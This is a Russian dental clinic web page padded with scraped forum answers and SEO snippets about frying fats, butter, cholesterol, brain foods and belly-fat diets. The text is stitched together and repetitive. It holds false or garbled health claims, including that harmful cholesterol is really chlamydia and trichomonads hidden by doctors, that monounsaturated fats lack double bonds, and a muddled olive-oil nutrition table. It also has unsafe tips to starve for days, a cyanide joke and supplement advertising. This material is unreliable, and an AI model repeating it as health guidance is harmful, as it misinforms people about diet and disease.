Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Вреднее что - картофель жареный на сале или на масле? я серьезно

Жаренный картофель вредным быть не может. Ну а масло? Сало - тяжелый продукт. А масло.. . На сливочном жарить нельзя, а на растительном не вкусно.

30% липидов, которые, как считается, должен содержать дневной рацион, должны состоять на треть из жирных насыщенных кислот, на треть из мононенасыщенных и еще на треть - из полиненасыщенных. Жирные насыщенные кислоты.

Вреднее на сале

Привет) Если жаришь картошку на сале, то в нее обязательно нужно добавить растительное масло, чтобы не слишком жирно было. А вообще лучше всего и полезнее ее жарить на оливковом масле, а еще лучше запечь в духовке, а когда сготовиться, то приправить оливковым маслом. Если его нет, то и подсолнечное тоже хорошо))) Приятного аппетита)))

Жареная картошка и еще на сале это мучение для желудка и .печени, жареное всегда переваривается долго.

На сале не так вредно, как на масле. Где-то читала что сало усваивается хорошо. Может конечно и вранье.

Вреднее на масле, так как при жарке сала канцерогенов образуется меньше, чем при жарке масла

Наиболее богато мононенасыщенными жирными кислотами оливковое масло. Однако не стоит забывать, что любой жир по калорийности остается обычным жиром.

Смотря на каком масле. Идеально жарить на оливковом. Другие растительные масла значительно вреднее при жарке. Если оливкового нет - тогда лучше на сале.

Традиционно в рационе используют два вида жиров животного происхождения - сало и сливочное масло, потому и стоит сравнить именно их. Сало, сравнительно с молочным жиром, содержит меньше насыщенных жирных кислот, больше полиненасыщенных и почти вдвое больше мононенасыщенной олеиновой кислоты. Последнее для человека имеет особенное значение, потому что эта кислота принимает участие в образовании организмом собственных жиров.
Поскольку в сале больше мононенасыщенных кислот, оно более стойко к окислению, которое происходит под воздействием разных факторов - атмосферных загрязнений, радиации, курения, активного образа жизни и тому подобного.
Это важно, ведь активизация процессов окисления нежелательна, из-за того, что является предвестником начала многих патологических состояний организма: развития атеросклероза, появления новообразований, вторичных иммуно-дефицитных состояний и тому подобного.
Сало, по сравнению со сливочным маслом, отмечается меньшей атерогенностью, поскольку содержание холестерина в нем вдвое ниже (0,1% - в сале и 0,19% - в сливочном масле) . К тому же, наличие в молочном жире большего количества насыщенных жирных кислот также вызывает повышение содержания холестерина в крови. Сало менее атерогенно еще и потому, что соотношение в нем холестерина и фосфолипидов (1:3,3) приближается к оптимальному (1:4). Для сравнения: в сливочном масле это соотношение составляет 1:2.
Следует обратить внимание на одно удивительное свойство линолевой кислоты, которой в сале больше. Жиры, обогащенные ею, уменьшают риск возникновения инфаркта миокарда за счет того, что они снижают уровень атерогенных липопротеинов в крови (что вызывает развитие атеросклероза) и повышают уровень неатерогенных (которые препятствуют отложению холестерина в стенках сосудов) . Это уменьшает риск развития ишемической болезни сердца.
Сравнительная характеристика этих двух жиров свидетельствует о том, что сало как продукт питания имеет преимущество над сливочным маслом. Оно лучше сохраняется и меньше поддается разрушению. И все же хочется предостеречь от эйфорического восприятия такой информации. Традиционно сложилось так, что в пищевом рационе наших соотечественников за счет животных жиров покрывается свыше 40% энергетической ценности продуктов. А это приводит к увеличению количества людей с избыточной массой тела и к высокому уровню смертности от ишемической болезни сердца.
С точки зрения правильного питания, содержание жира в рационе должно составлять до 30%, а с точки зрения профилактического питания, - не больше 25% суточных энергозатрат. Дело в том, что еда, обогащенная жирами, имеет лучшие вкусовые качества и, при этом, медленнее дает ощущение сытости, а это стимулирует переедание.
Поэтому относительно сала совет таков: переедать не стоит. Но если у вас нет избыточной массы тела, ишемической болезни сердца, то несколько кусочков сала (30-50 граммов) с черным хлебом (витамин Е) , чесноком или хреном (крепят стенки сосудов, снижают артериальное давление) будут вам полезны, а также принесут приятные вкусовые ощущения.
Не следует есть денатурированное сало (копченое, старое, то, которое поддавалось термической обработке) , поскольку в нем часть жирных кислот перешла из активной формы в пассивную, что вредно для организма.

Какие продукты улучшают работу мозга?

Шоколад

Жиры, богатые мононенасыщенными жирными кислотами, при комнатной температуре обычно жидкие, но при охлаждении застывают. Мононенасыщенных жиров много в оливковом масле, рапсовом масле, многих орехах и авокадо.

Орехи и кофе.

Глюкоза - сахар, виноград.

Мне хватает увидеть отлчые буфера. и мозг ажь кипеть начинает

Орехи Nads.

Орехи) ) JОсобенно лесной (фундук)

Для оценки баланса основных насыщенных и мононенасыщенных жирных кислот в организме для диагностики, прогноза и лечения дислипидемий, ишемической болезни сердца и некоторых онкологических заболеваний.

Игры тоже являются продуктами?
Тогда шахматы :)

Говорю как будущий медик, что работу мозга улучшает сладкое. и лучше с самого утра чай сладкий пить, чтоб голова работала лучше)

Рыба (фосфор) , орехи (йод, жиры) , сахар (углеводы) , шоколад (тонизирует, стимулирует) , животный белок - мясо, мясо и мясо:)

Жирная рыба, проще всего селедка. Она не только улучшает работу, но и способствует росту новых мозговых клеток. . (если ученые не п***здят) . или рыбий жир в капсулах, он хотя бы не вонючий. ну и шоколад, только не много (черный).

Свёкла.

Любой жир или масло представляют собой смесь различных жиров. Следующая таблица показывает это Мононенасыщенные.В последние десятилетия соотношение омега-6 и омега-3 жирных кислот стало несбалансированным в западной диете.

1. Цельнозерновые. ( крупы, пшеничные отруби ) - они способствуют улучшеию памяти.
2. Черника. ( экстракт черники помогаетот временной потери памяти ).
3. Орехи. ( отличный источник витамина Е, который предотвращет ухудшение памяти ).
4. Жирная рыба. ( в рыбе содержаться кислоты омега - 3, необходимые для здоровья нервной системы; также в рыбе содержится йод, который улучшает ясность ума ),
5. Помидоры. ( ликопен, мощный антиоксидант, находящийся в помидорах, помогает от свободных радикалов, повреждающих клетки и приводящих к слабоумию ),
6. Чёрная смородина. ( витамин С улучшает живость ума ).
7. Шалфей. ( в нём масло для улучшения памяти ).
8. Сухие завтраки. ( отличный источник витамна В12 и углеводов, которые помогают организму запастись энергией на весь день )
9. Тыквенные семечки. ( цинк, необходимый для улучшения памяти и развития навыка мышления ).
10. Брокколи. ( витамин К, который повышает познавательную функцию и улучшает работу мозга ).

Шоколад

Гинкго билоба способствует улучшению кровоснабжения мозга, обеспечивая стабильное поступление кислорода и питательных веществ.
готу колу называют "пищей для мозга" или "травой памяти", тем самым определяя её основные свойства - улучшение мозгового кровообращения и снабжения мозга кислородом, благодаря чему стимулируются и восстанавливаютя функции мозга. улучшается память.
Они содержаться в основном в препаратах santegra.su/index.php?user_details=yes

Все лучшее из ответа Алены входит в натуральный препарат Брейн-О-Флекс, разработанный специально для улучшения питания клеток головного мозга. Результаты ощущаются уже через неделю приема.

Вишня, чернослив, кунжут и кокос.

Мононенасыщенные жирные кислоты. На эти жиры приходится до 40% калорий средиземноморской диеты, при этом основным их источником является оливковое масло.

1. Цельнозерновые. Входите в комнату и забываете зачем пришли? Не помните как зовут знакомых? Пора поменять диету, есть больше цельнозерновых, то есть крупу, пшеничные отруби, пшеничные ростки. Одно из исследовнаие обнаружило, что у женщин, увеличивших прием фолиевой кислоты, витамина В12 и витамина В6, память лучше, чем у тех, кто не принимает витамины.
2. Орехи. Исследование, опубликованное в американском журнале эпидемиологии, показало, что витамин Е предотвращает ухудшение памяти. Орехи - отличный источник витамина Е, также как и зеленые листовые овощи, семечки, яйца, коричневый рис и цельнозерновые.
3. Черника. Исследование, проведенное университетом Тафтс и опубликованное в Журнале неврологии обнаружило, что экстракт черники помогает от временной потери памяти.
4. Жирная рыба. В рыбе, масле из грецких орехов и льняных семечек содержатся необходимые кислоты омега-3, необходимые для здоровья нервной системы. Низкий уровень DHA приводит к потере памяти и болезни Альцхаймера. В рыбе также содержится йод, который улучшает ясность ума.
5. Помидоры. Существуют научные подтверждения того, что ликопен, мощный антиоксидант, находящийся в помидорах, помогает от свободных радикалов, повреждающих клетки и приводящих к слабоумию.
6. Черная смородина. Давно считается, что витамин С улучшает живость ума. Один из лучших источников витамина С - черная смородина.
7. Сухие завтраки. Выбирайте сухие завтраки, обогащенные витаминами. Исследование показало, что у людей с низким уровнем витамина В12, филиевой кислоты или обоихми в два раза больше шансов получить болезнь Альцхаймера. Фолиевая кислота и витамин В12 предотвращают скапливание в организме гомоцистеина - у людей, больных болезнью Альцхаймера уровень гомоцистеина выше. Обогащенные витаминами сухие завтраки - отличный источник витамина В12, а также сложных углеводов, которые помогают организму запастись энергией на весь день и помогает сосредоточиться в течение дня. Но проверяйте этикетки на коробках, так как в некоторые завтраки входит большое содержание соли и сахара.
8. Шалфей. У шалфея длинная репутация улучшения памяти и почти все исследования доказывают, что в нем содержится важное масло, поэтому его тоже нужно добавить в диету.
9. Брокколи. Отличный источник витамина К, который улучшает работу мозга.
10. Тыквенные семечки. Горсть семечек в день - это рекомендуемая доза цинка, необходимого для улучшения памяти и навыка мышления.

ДЧто нужно есть если повышенный холистерин? Фрукты снижают? Какие?

Холестерин бывает 2-х видов . если речь о так называемом полхом то это не что иное как хламидия и его размножающие в себе трихомонады . но об этом не скажут и не напишут . и довольно еще долго . т. к. тогда многие врачи останутся без хлеба . убрав этих возбудителей человек убирает десятки заболеваний сразу в любой семье .

К счастью, современная наука нашла решение этой непростой проблемы создана диета, обогащенная мононенасыщенными жирными кислотами, которые работают как настоящее оружие против жира на животе.

Откуда берется холестерин? Правильно. Из продуктов животного происхождения. А это мясо-рыбо-яичная продукция и молочная продукция. Станьте вегетарианцем, и холестерин будет в норме.
Из личного опыта скажу, что я вегетарианка уже 3 года, без единого срыва, не умерла, хуже выглядеть не стала, а наоборот перестала болеть всякими простудами и иммунитет у меня хороший (все ранки сами заживают, без зеленки) .
Фрукты с холестерином бороться не будут, каким образом бы они могли это сделать? Нужно просто прекратить поступление холестерина извне. Для нас вреден именно животный холестерин. А полезный для здоровья холестерин мы вырабатываем сами.

Так как холестерин является сам по себе веществом животного происхождения и в растительной пище его нет, то для снижения его содержания надо уменьшить до минимума потребление мясных и молочных продуктов и переключиться на овощи и фрукты. Любые.

Где то читала что ГРЕЙФРУТ снижает.

Понизить с помощью антиоксидантных комплексов — витаминов A, E и C. А также путем регулярного употребления овощей и фруктов и регулярных физических нагрузок. Но существует препарат "торвакард", но употреблять его следует по назначению врача и под контролем липидного профиля.

Снижение холестерина в крови можно добиться несколькими путями: уменьшить синтез эндогенного холестерина, уменьшить употребление экзогенного холестерина с продуктами питания и ускорить выведение холестерина из организма.
Европейская ассоциация экспертов ВОЗ сформулировала 7 «золотых» правил антисклеротической гипохолестериновой диеты:
уменьшение на 10% общего потребления жиров;
резкое уменьшение потребления продуктов, богатых ХС;
резкое уменьшение потребления насыщенных жирных кислот (животные жиры, масло, сливки, сыр, яичный желток, мясо) ;
увеличение потребления продуктов, обогащенных полиненасыщенными, жирными кислотами (жидкие растительные масла, рыба, птица, морские продукты) ;
увеличение потребления клетчатки и сложных углеводов (овощи, фрукты, крупы) ;
замена в домашнем приготовлении пищи животного масла, маргарина растительными маслами;
ограничение поваренной соли до 3.5 г в сутки. В соответствии с рекомендациями продукты питания разбиты на 3 группы и представлены в виде таблицы ( табл. 8).
Продукты для для снижения холестерина. Оливковое масло. Оливковое масло - лидер по содержанию мононенасыщенного жира. Оно стимулирует работу желчного пузыря и не позволяет холестериновым бляшкам остаться на сосудах. Пей его натощак по одной чайной ложке. Салат. Морковь. Морковь выводит из организма токсины, очищая кровь она способствует рассасыванию тромбов. Съедайте для профилактики одну, две морковки в день. Салат - источник фоливоевой кислоты способствует образованию новых клеток в организме. Рыба. Морепродукты. Чаще употребляйте в пищу морепродукты и рыбу, не давайте не малейшего шанса излишкам холестерина отложиться на стенках сосудов. Чем жирнее рыба, тем она полезнее. Причем совсем необязательно покупать дорогую рыбу, например сельдь и скумбрия обладают такими же качествами - источники витаминов А, D, витаминов группы В и жирных омега-3 кислот. Заметим что рыбу нужно есть при каждом удобном случая, ее употребление ведет к снижению уровня холестерина в крови и защищает сосуды. Бобовые. В бобовых содержаться вещества, которые замедляют усвоение и отложение жиров. Поскольку этим свойством обладают все бобовые (горох, соя, чечевица) , меню можно разнообразить и не беспокоится, что оно быстро надоест. Очень полезен зеленый горошек. Его витамины и минералы насытят организм дополнительной энергией. Цитрусовые. В цитрусовых много витаминов, которые защищают стенки кровеносных сосудов. Витамин Р, содержащийся в грейпфруте и лайме, усиливает действие аскорбиновой кислоты, повышает тонус сосудов. Грецкие орехи. В грецких орехах рекордное количество витамина Е, который укрепляет кровеносные сосуды, а фосфолипиды нейтрализуют холестерин. Ситостерин, содержащийся в орехах, препятствует всасыванию холестерина в пищеварительный тракт. Съедайте 3 -4 грецких ореха в день. Лук. Чеснок. Эти ароматные овощи очищают организм от жировых и известковых отложений, нормализует обмен веществ, сохраняют молодость и эластичность сосудов. Чеснок расширяет кровеносные сосуды, снижает артериальное давление и препятствует образованию тромбов. Яблоки. Растительные волокна связывают холестерин. Яблочный пектин укрепляет стенки сосудов, а волокна яблочной кожуры препятствуют ожирению. Для профилактики съедайте 1 - 2 яблока в день. Овсянка. Регулярное употребление овсянки может понизить уровень холестерина, это проверено временем. Даже, если у вас высокий холестерин, ежедневное употребление овсянки, поможет его снизить. Овес в качестве лечебного питания был известен еще с древности, древние славяне, например использовали овсянку для замены материнского молока. На востоке, считалось, что люди регулярно употребляюшие овсянку становятся здоровыми и выносливыми. Овсяная крупа богата белками, углеводами, калием, фтором, цинком, витаминами А и группы В. Овсянка содержит почти все необходимые человеку аминокислоты и микроэлементы, а ее пищевые волокна проходя по желудочно-кишечному тракту проводят "генеральную" очистку организма.

Мононенасыщенные жирные кислоты содержат одну двойную связь и представлены значительно шире метакриловая, кротоловая, винилуксусная и пр. Смесь поли- и мононенасыщенных жирных кислот принято называть витамином F.

Приносит ли сливочное масло какую-нибудь пользу? кроме вреда... кучи жира)

Оно полезно для кожи и волос, содержит витамины

Диета плоского живота Диета строится на пяти основных компонентах рациона орешки семечки, авокадо, оливки, темный шоколад иЗамените мясо рыбой она богата мононенасыщенными жирными кислотами для целенаправленного расщепления жира в области живота.

1. Энергия жира
Жирные продукты - источник энергии, они участвуют в обогреве тела. Особенно необходимы жиры жителям северных широт. При низкой окружающей температуре стоит ежедневно утром съедать небольшой кусочек сливочного масла или какой-то другой сытной пищи. Накапливаясь в подкожной клетчатке и ткани, окружающей внутренние органы, жиры обеспечивают теплоизоляцию организма, тем самым уменьшая риск переохлаждения.
2. Пища для ума
Жиры входят в состав клеток и необходимы для их обновления. Особенно много жироподобных соединений в нервных тканях и головном мозге. Поэтому скудное питание в младенчестве наносит непоправимый ущерб интеллекту. При недостаточном употреблении жиров у школьников возможно нарушение концентрации внимания и снижение успеваемости.
3. Пища для красоты
Только с жирной пищей усваиваются жирорастворимые витамины - A, E, D, K. Витамины и жиры необходимы, чтобы хорошо росли волосы, а кожа была здоровой, красивой и гладкой. Поэтому этот продукт так полезен и при многих кожных заболеваниях.
4. Продолжение рода
Холестерин незаменим для выработки биологически активных веществ: желчных кислот, половых и некоторых других гормонов. Если в организме женщины не хватает жира, у нее исчезают месячные, невозможно зачатие.
5. Проблемы с желудком
Сливочное масло особенно полезно тем, у кого непорядок с пищеварением. "Смазанные маслом" больной желудок и двенадцатиперстная кишка быстрее выздоравливают. Целебный витамин А ускоряет заживление язвочек. Страдающие хроническим холециститом, панкреатитом и желчнокаменной болезнью могут побаловать себя 15-20 г масла в день. Но не стоит есть больше 5-7 г за один присест.
6. Сезон простуд
И уж совсем не обойтись без масла во время простуд, при болезнях бронхов и легких. В таких ситуациях полезно увеличить суточную дозу до 60-70 г. Витамин А обогатит ослабленный организм, укрепит эпителий дыхательных путей.
7. Против генетики
В сливочном масле до 40 % мононенасыщенной олеиновой кислоты, которая составляет славу оливкового масла. Она оказывает особенно благотворное влияние на уровень холестерина в крови, не говоря уже о том, что она улучшает общий баланс липидов крови. Кроме того, олеиновая кислота подавляет активность ракового гена.
Таким образом, умеренное употребление сливочного масла полезно для нашего здоровья. Не случайно же наши предки ели сливочное масло лишь в скоромные дни, которых в году, как известно, меньше, чем постных, и были здоровы

Сливочное масло входит в некоторые рецепты народной медицины, конечно, не для похудения только.

Это всего лиш концентрированное молоко меру надо знать а животные жиры всегда полезней растительных (попробуй вскармить ребенка не грудным молоком а растительным маслом

Да! Там в большом количестве содержится жирорастворимый витамин "А". (Опять же... куча жира:)) ) В сливочном масле жирность примерно 80-84%,а в растительном все 100%).

Масло сливочное - пищевой продукт, представляющий собой концентрат молочного жира (78 — 82,5 % в зависимости от вида масла, в топлёном масле — около 99 %). Молочный жир отличается ценными биологическими и вкусовыми качествами. Он включает оптимально сбалансированный комплекс жирных кислот, содержит значительное количество фосфатидов и жирорастворимых витаминов, имеет низкую температуру плавления (32 — 35 °С) и легко усваивается организмом (до 95 %). В состав входят также содержащиеся в молоке белки, углеводы, некоторые водорастворимые витамины, минеральные вещества и вода; эта нежировая часть называется плазмой масла. В целом обладает высокой калорийностью (в частности, калорийность вологодского масла 730 ккал / 100 г, 3,06 Мдж / 100 г) и усвояемостью. Сливочное масло — реальный источник витамина A (в среднем содержание его 0,6 мг %). Летнее масло содержит также каротин в количестве 0,17 — 0,56 мг %. В сливочном масле содержится и витамин Д: в летнем 0,002 — 0,008 мг %, в зимнем 0,001 — 0,002 мг %. Количество токоферолов в составляет 2 — 5 мг %.. является и важным источником фосфатидов, содержание которых достигает 400 мг %.

Предлагаем поближе познакомиться с еще одним важным компонентом пищи - мононенасыщенными жирными кислотами.В некоторых случаях диета с высоким содержанием эруковой кислоты использовалась в лечебных целях.

Сливочное масло исключать из рациона нельзя, просто употреблять в умеренном количестве. В нем присутствуют полезные вещества, способствующие усвоению витаминов в организме, из другого источника, кроме масла из получить нельзя

Если употреблять умеренно, то ничего не будет

Нужно меру знать во всем! говорю я вам, а сама этого не делаю!

Слышала, что масло сливочное - хорошая профилактика от туберкулёза. Утром-бутерброд с маслом или каша с маслом-обязательно!

В меру-полезно. главное не переедать его)

Мода на диеты без жира приводит к тому, что организм человека истощается, а здоровью наносится непоправимый вред.Ненасыщенные жирные кислоты делятся в свою очередь на полиненасыщенные и мононенасыщенные.

Как вернуть животу прежнюю красоту? за зиму набрала лишние килограммы

Сядь на лимоны.

Диета плоского живота Диета строится на пяти основных компонентах рациона орешки семечки, авокадо, оливки, темный шоколад иЗамените мясо рыбой она богата мононенасыщенными жирными кислотами для целенаправленного расщепления жира в области живота.

Меньше есть и больше двигаться, неважно как.

Просто не есть... и крем для похудения втирайте... через неделю всё пройдёт...

Танец живота очень помогает

Упражнения "Пилатес".

Ну это же от вашей физиологии зависет, вот я не пожру три дня - и живота как не бывало))

Мононенасыщенные жирные кислоты не являются незаменимыми, поскольку наш организм способен их вырабатывать.Независимые исследования подтверждают связь между диетами с высоким содержанием транс- жиров и ишемической болезнью сердца.

Кефир после шести, еще когда пресс качаешь заворачивай живот в пищевую пленку, одевай несколько свитеров- и вперед, потом еще хорошо бы побегать полчасика. Пленку снимаешь- животик весь мокрый, так лучше жиры топятся

Рассмешили! "Жиры топятся" если бы это было действительно так! ! Вода выходит, и состояние кожи улучшается вот и все!

Посоветуйте,плиз,диету,с помощью которой "убирается" животик

Не кушать поле 6 вечера, через неделю животика уже не будет

МОНОНЕНАСЫЩЕННЫЕ ЖИРНЫЕ КИСЛОТЫ НАЗВАНИЕ пальмитиновая кислота, олеиновая кислота ПОЛЬЗА Этот вид жировАмериканские ученые посадили больных ожирением на диету, в которой все прочие виды жиров были заменены мононенасыщенными.

Зайка, с помощью одной диеты не уберёшь. Надо пресс подкачать....

Диету трудно, а вот складочка ежедневно упражнения на пресс это да, убирает.

Лучше спортом занимайтесь! Диеты-только временно помогут.

Качай прес или много секса)))))))))))))

Неа, закачивать его надо больше никак

Испанские исследователи изучили воздействие трех диет на обмен углеводов и жиров в организме и на уровень инсулина у полных людей, случайным образом назначая им 28дневные диеты с высоким содержанием либо насыщенных жирных кислот, либо мононенасыщенных...

Спортом надо заниматься, и не будет животиков)

Бег самый эфективный метод, набегаюсь-отьем, набегаюсь-отьем.... спорт ептить

Абсолютно любая диета! просто супер диета завтрак, обед, а ужин исключить (или просто несколько чашек зеленого теплого чая с конфетой на ужин

Пей воду за три дня до еды))

А я вот читала про качание пресса.... если есть жирок на пузе, то пресс качать нельзя! Иначе мышцы то будут в тонусе, а вот жирок над мышцами так и будет выпирать!
Реально, проверено, не есть после 6-7 вечера, час без сахара, еда без хлеба, не пить пиво и желательно принимать пищу в одно и тоже время!!!

Диета, полезная для сердца, вовсе не обязательно должна начинаться с запретов нет жирному, соленому, вкусному.Оливковое масло, богатое мононенасыщенными жирами, содержит также небольшие количества полиненасыщенных жирных кислот ряда Омега-3...

Я лично меньше ем - вечером вообще ничего, пю много жидкости, когда сижу, стою, лежу или что нить другое делаю - стараюсь втягивать жывот, и делаю упражнения для преса - мне помогает

Диета это конечно хорошо, но вот живот "убрать" диетами или "накачать" качанием пресса нельзя. Бег-укрепит мыжцы и уберет живот) Так что все надо совмещать

Чем полезен арахис

Когда начали употреблять масла рыб как лекарство

Вопрос о растительных маслах. Какое масло наиболее полезно по содержанию омега жирных кислот?

В льняном масле
Рекомендуемая ежедневная доза жиров Омега-3 – 1,6 граммов для женщин и 2 грамма для мужчин. Именно такая доза необходима для нормальной жизнедеятельности клеток организма. В переводе на пищевые продукты это 1 ст. ложка рапсового масла, или 1 чайная ложка льняного семени, или 5-10 штук сырых, не жареных орехов, или 70 граммов свежего лосося, или 90 граммов консервированных сардин, или 120 граммов консервированного тунца, или 3 яйца, обогащенных Омегой-3. Помните также, что жиры Омега-3 животного происхождения усваиваются хуже, чем растительные.

Мононенасыщенные, насыщенные, полиненасыщенные жиры. Сладкое, мучное, жирное... Они словно злобные призраки маячат перед внутренним взором каждой ледиЗимняя диета как стать стройнее к весне. Теги масло, жир, продукт, кислота, норма, потребление.

Оливковое ( омега-9 ) масло
Американские ученые обнаружили, что оливковое масло может служить противовоспалительным средством. Один из его полезных компонентов – олеокантал – действует не хуже таблеток, если потреблять четыре столовых ложки оливкового масла в день.
Общее содержание жира – 98%
Насыщенные жиры – 16 г
Мононенасыщенные – 11 г, из них: омега-6 – 10 г; омега-3 – 1 г
Холестерин - отсутствует
Калорийность – 882 ккал
Льняное ( омега-3 ) масло
Идеальный источник редких в обычном рационе и наиболее ценных омега-3 жиров. Используется как пищевая добавка по 1 столовой ложке в день.
Общее содержание жира – 98%
Насыщенные жиры – 10 г
Мононенасыщенные – 21 г
Полиненасыщенные – 69 г в том числе: омега-6 – 16 г; омега-3 – 53 г
Холестерин - отсутствует
Калорийность – 882 ккал
Подсолнечное ( омега-6 ) масло
Самое традиционное растительное масло в России. Содержит много полиненасыщенных ЖК, но слишком мало жиров омега-3. В этом его главный минус.
Общее содержание жира – 98%
Насыщенные жиры – 12 г
Мононенасыщенные – 19 г
Полиненасыщенные 69 г из них: омега-6 – 68 г; омега-3 – 1 г
Холестерин - отсутствует
Калорийность – 882 ккал

Масел очень много как и растений, и тысячи вообще не изучены, и сотав везде разный, поэтому, каждое по своему хорошо.

Чем полезно сливочное масло?

Я на ней еду делаю!

Наиболее богато мононенасыщенными жирными кислотами оливковое масло. Однако не стоит забывать, что любой жир по калорийности остается обычным жиром.

О пользе сливочного масла
Сливочное масло содержит животные жиры и витамины D, которые участвует в обмене кальция и фосфора, а он необходим для костной и нервной системы. Еще в масле есть витамин E, он необходим для нормального состояния кожи, ногтей, волос, а также мышц. Также сливочное масло содержит витамин A, "отвечающий" за зрение и слизистые оболочки, также кожа. Это жирорастворимые витамины, а в растительных продуктах их содержание незначительно. Жирные кислоты участвуют в синтезе половых гормонов.
Кроме того, "явные жиры" - это основной источник энергии. Те, кто их сокращает, должен помнить, что он всё равно получит жиры через "неявные", такие, как орехи и сыр. Минимум потребления сливочного масла - 10 г. в день. Оптимальное - 30 г. в день.
Только свежее масло вкусно и полезно. Все жиры, если они прогоркли, опасны для здоровья, особенно для печени. Во время жарения витамины в масле уничтожаются, поэтому в большинство блюд масло нужно добавлять уже после того, как они готовы

Фу
от него толстеют

Что надо кушать такого,чтобы оставаться молодой?Какие продукты реально помогают?

Самый главный витамин Ё!
ну и комплекс УЕ

Мононенасыщенные жиры не имеют двойных связей. Этими жирными кислотами богаты миндаль, авокадо, оливковое масло.Следует снизить потребление высококалорийной мясной пищи и обогатить свой стол рыбными дарами моря сельдью, скумбрией, палтусом, лососем.

Все, в которых есть клетчатка.
Если нужен витамин Е (хотя его передозировка может привести к климаксу) он есть в орехах, семечках, растительном масле.

Лучше не кушать. А если и кушать, то отказаться от мяса. Результат увидишь уже первые пол года.

Не переедать, меньше жирного, жаренного больше овощей

Скушайте цианистого калия - навсегда останетесь молодой в памяти друзей и близких.
Ещё можно кушать чёрную икру - если вы это делаете каждый день- то всяко у вас хватит денег на пластическую операцию. :))

Надо кушать натуральную свежую еду и следить за её разнообразием

Жирные кислоты участвуют в создании двух основных класса жиров насыщенные жирные кислоты и ненасыщенные. В свою очередь ненасыщенные жирные кислоты разветвляются на мононенасыщенные и полиненасыщенные.

Не знаю как на счет кушать. Но точно знаю кем надо работать. Устройтесь стюардессой. Будете долго очень молодо выглядеть.

Молодильная диета:
на завтрак - секс
на обед-секс и кекс
на ужин - только секс

Как добиться "плоского животика ??"

Фитнесс

30% липидов, которые, как считается, должен содержать дневной рацион, должны состоять на треть из жирных насыщенных кислот, на треть из мононенасыщенных и еще на треть - из полиненасыщенных. Жирные насыщенные кислоты.

Пресс качать

Рациональное питание + упражнения

Пресс качать по 8 минут в день! есть видео! в талии убралось много см. рещулттат ощущаеться уже на 3, 4 день!

Можно покачать пресс, можно не есть после шести вечера и не заставлять желудок работать ночью

Надо обруч крутить

Наиболее богато мононенасыщенными жирными кислотами оливковое масло. Однако не стоит забывать, что любой жир по калорийности остается обычным жиром.

Кушайте вмеру, можо пресс покачать.

На ночь не есть, до 18:00 и хватит на день еды. Утром кефир или творожек

Обруч, пресс, наклоны
Мононенасыщенные жиры (MUFA), содержащиеся в "здоровых маслах" растительных продуктов (таких как оливы, орехи и авокадо) , подвергались специальному исследованию, результаты которого были опубликованы в британском издании о питании. Согласно результатам, рацион, обогащенный MUFA-жирами, способствует небольшой потере веса и жировой ткани. При этом количество потребляемых калорий не менялось. Опыты также подтвердили, что MUFA- завтрак способствует усиленной работе пищеварительной системы в течение 5 часов после еды. Особенно, это актуально для людей с ярко выраженной склонностью к лишнему весу.
Выходит, у MUFA- питания есть дополнительные преимущества, что делает диету, основанную на "здоровых жирах", уникальной. Мононенасыщенные жиры не только снижают риск возникновения II-диабета, но предотвращают сердечные заболевания, снижая уровень "вредного" холестерина.
Трехлетние исследования итальянских ученых показывают, что диета, включающая в себя такие продукты, как орехи и оливковое масло, помогает блокировать действие механизма старения. Явное преимущество диеты, основанной на мононенасыщенных жирах: вы сокращаете количество калорий, но легко это переносите. Диета для "плоского живота", предлагаемая Prevention, базируется на результатах исследований. За 4-недельный период 11 участников потеряли в общей сложности 91 фунт (41,2кг) и "уменьшились" на 83 дюйма (2,10 м) .
Мало того, что каждый потерял по 2 дюйма в талии, испытуемые констатировали необычайный прилив сил и бодрости.
Для того, чтобы пополнить ряды счастливых обладателей плоского живота, необходимо придерживаться нескольких правил:
1.Включите продукты, содержащие мононенасыщенные жиры в каждый прием пищи.
2. Четко обозначить калорийный ограничитель. Составьте свой рацион таким образом, чтобы количество приемов пищи ограничилось 4 разами, и каждый перекус содержал 400 калорий.
Для средней женщины достаточно потреблять 1600 кал, чтобы снижая вес, не приносить в ущерб жизненную активность и тонус.
3.Ешьте часто. Чтобы избежать колебаний сахара в крови и поддержать метаболизм на высоком уровне, старайтесь придерживаться такой системы питания, чтобы перерывы между едой не превышали 4-5 часов.
4.Возьмите за правило а) управлять стрессом. Эта эмоция вызывает сбой в работе системы "управления голодом", отправляя вас прямиком в кондитерскую за порцией шоколадки. Когда уровень кортизола высок, лишние калории превращаются в жировые отложения. В районе талии. б) попросите о помощи. Большинство людей, которые пытаются избавиться от лишнего веса, говорят о сильной поддержке окружающих. Найдите единомышленников!
в) Заведите дневник, и записывайте все, что съели ежедневно. Описывайте также свое самочувствие и ощущения, - это поможет вам диагностировать, на чем вы спотыкаетесь.
Программа по приобретению плоского живота начинается с "разгрузочной четырехдневки. " Вычеркните эти продукты из рациона для избежания задержки жидкости в организме и вздутия живота.
1. Избегайте солевых приправ и продуктов, подвергшихся высокотехнологичной обработке. Основное количество натрия (около 80%) организм получает при поглощении продуктов с добавлением поваренной соли. При дефиците натрия - возможно нарушение усвоения углеводов. Повышенное потребление натрия вызывает накопление жидкости в организме, отеки, повышает кровяное давление.
2. Угледоводы. В качестве резервного источника энергии, ваши мышцы накапливают вид углевода, который называется гликоген. Каждый грамм гликогена сопровождается 3 граммами воды. Вам такой багаж просто ни к чему, если вы не участвуете завтра в марафонском забеге. Сократите количество потребляемых

Красота дана лишь от природы, но запускать себя в любом случае нельзя! качайте пресс!!!

Пресс качать, но не полностью доходить до состояния сидя, а между лежачим и сидячим. 4 подхода в день и через неделю заметен результат

Жиры, богатые мононенасыщенными жирными кислотами, при комнатной температуре обычно жидкие, но при охлаждении застывают. Мононенасыщенных жиров много в оливковом масле, рапсовом масле, многих орехах и авокадо.

  • Диета мясное суфле видео - Врач прописал строгую диету(панкреатит),как готовить диетическое мясное суфле? Варите постную говядину, пропускаете чере
  • Планирование беременности диеты - Можно ли планировать беременность и сидеть на диете одновременно? ? ТЕБЕ МОЖНО - РОДИТЬСЯ ЛИБО ДЕБИЛ ЛИБО ДИСТРОФИК. Где
  • Целлюлит зарядка от целлюлита - Если заниматься гимнастикой ноги похудеют? Целлюлит пропадает ? Нет. Когда питание наладите. Подготовительные физические
